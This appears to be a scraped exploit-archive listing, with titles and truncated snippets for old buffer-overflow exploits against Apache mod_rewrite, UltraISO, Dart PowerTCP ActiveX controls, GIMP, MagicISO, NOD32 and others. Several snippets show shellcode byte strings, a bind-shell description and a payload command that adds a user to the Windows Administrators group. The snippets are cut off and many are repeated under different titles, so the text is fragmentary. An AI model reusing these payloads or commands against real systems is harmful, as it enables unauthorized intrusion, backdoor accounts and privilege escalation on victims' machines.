apache2058-rewrite.txt

/ apache mod rewrite exploit win32 By: fabio/b0x oc-192, old CoTS member Vuln details: http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded Code: bind shell on port 4445, tested on apache 2.0.58 with modrewrite windows 2003 original exploit http://milw0rm.com/exploits/3680 only...

ultra-local.txt

ultra iso exploit thomas . pollet @ gmail . com import struct scode=metasploit calc.exe shellcode "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34...

ie6dart-overflow.txt

'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add shellcode =...

UltraISO 8.6.2.2011 - '.cue/'.bin' Local Buffer Overflow (2)

ultra iso exploit thomas . pollet @ gmail . com import struct scode=metasploit calc.exe shellcode "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34...

UltraISO 8.6.2.2011 - .cue.bin Local Buffer Overflow (2)

UltraISO 8.6.2.2011 - .cue.bin Local Buffer Overflow 2 ultra iso exploit thomas . pollet @ gmail . com import struct scode=metasploit calc.exe shellcode "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"...

Apache 2.0.58 mod_rewrite Remote Overflow Exploit (win2k3)

No description provided by source. / apache mod rewrite exploit win32 By: fabio/b0x oc-192, old CoTS member Vuln details: http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded Code: bind shell on port 4445, tested on apache 2.0.58 with modrewrite windows 2003...

Dart Communications PowerTCP ZIP Compression Remote BoF Exploit

No description provided by source. !-- IE 6 / Dart Communications PowerTCP ZIP Compression Control DartZip.dll 1.8.5.3 remote buffer overflow exploit / xp sp2 it by rgod site: retrogod.altervista.org software site: www.dart.com -- html object classid='clsid:42BA826E-F8D8-4D8D-8C05-14ABCE99D4DD'...

Apache 2.0.58 mod_rewrite Remote Overflow Exploit (win2k3)

Exploit for unknown platform in category remote exploits ========================================================== Apache 2.0.58 modrewrite Remote Overflow Exploit win2k3 ========================================================== / apache mod rewrite exploit win32 By: fabio/b0x oc-192, old CoTS...

IE 6 / Dart Communications PowerTCP ZIP Compression Control (DartZip.dll 1.8.5.3) remote buffer overflow

!-- IE 6 / Dart Communications PowerTCP ZIP Compression Control DartZip.dll 1.8.5.3 remote buffer overflow exploit / xp sp2 it by rgod site: retrogod.altervista.org software site: www.dart.com -- html object classid='clsid:42BA826E-F8D8-4D8D-8C05-14ABCE99D4DD' id='DartZip'/object script...

Dart Communications PowerTCP - ZIP Compression Remote Buffer Overflow

'metasploit one, add a user 'sun' with pass 'tzu' shellcode =...

Gimp 2.2.14 .RAS File SUNRAS Plugin Buffer Overflow Exploit

No description provided by source. / Gimp v2.2.14 .RAS File SUNRAS Plugin Buffer Overflow Gimp uses SUNRAS plugin to process .RAS file. But this module is vulnerable to a buffer overflow in setcolortable which leads to code execution. Vulnerable code, sunras.c:862 int ncols, j; guchar ColorMap256...

Dart Communications PowerTCP ZIP Compression Remote BoF Exploit

Exploit for unknown platform in category remote exploits =============================================================== Dart Communications PowerTCP ZIP Compression Remote BoF Exploit =============================================================== 'metasploit one, add a user 'sun' with pass 'tzu...

Dart Communications PowerTCP Service Control Remote BoF Exploit

No description provided by source. !-- IE 6 / Dart Communications PowerTCP Service Control DartService.dll 3.1.3.3 remote buffer overflow exploit / xp sp2 ita ver by rgod site: retrogod.altervista.org software site: www.dart.com Install, Uninstall methods are vulnerable shellcode is executed afte...

Dart Communications PowerTCP - Service Control Remote Buffer Overflow

'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add shellcode =...

Dart Communications PowerTCP - Service Control Remote Buffer Overflow

Dart Communications PowerTCP - Service Control Remote Buffer Overflow 'metasploit one, 456 bytes - cmd /c net user su tzu /add & net localgroup Administrators su /add shellcode =...

Heap practice overflow point location of the 2 methods-vulnerability warning-the black bar safety net

Vulnerability software: War-Ftpd version 1.65 Debugging software: Ollydbg Program write: perl Vulnerability is described: the configuration of the USER, resulting in stack overflow. On some debugging of the issue please refer to: the Win32 buffer overflow combat of...

Dart Communications PowerTCP Service Control Remote BoF Exploit

Exploit for unknown platform in category remote exploits =============================================================== Dart Communications PowerTCP Service Control Remote BoF Exploit =============================================================== 'metasploit one, 456 bytes - cmd /c net user su...

Microsoft Visual Basic 6.0 Project - Description Stack Overflow (PoC)

Microsoft Visual Basic 6.0 Project - Description Stack Overflow PoC !/usr/local/bin/perl Discovered By UmZ Umair Manzoor comments are welcome at umz32.dllatgmail.com Dated 23-02-2007 Time : 02:00 AM PST Stack Overflow Buffer Size 1037690 overflow offset 004A2E43 EBX contain values Memory to write...

MagicISO 5.4 (build239) - .cue File Local Buffer Overflow

MagicISO 5.4 build239 - .cue File Local Buffer Overflow / -- poc/demo for magiciso exploit, found by n00b -- by: [email protected] -- original email reply comments: I actually looked into this when you posted this on milw0rm. I was able to get it to run arbitrary code, however it was so unreliable i...

NOD32 Antivirus Long Path Name Stack Overflow Vulnerabilities

NOD32 Antivirus Long Path Name Stack Overflow Vulnerabilities I - DESCRIPTION NOD32 Antivirus is vulnerable to two stack overflow vulnerabilities. The vulnerabilities can be exploited when the AV tries to delete/disinfect or rename a detected malware in a specially formated directory. These...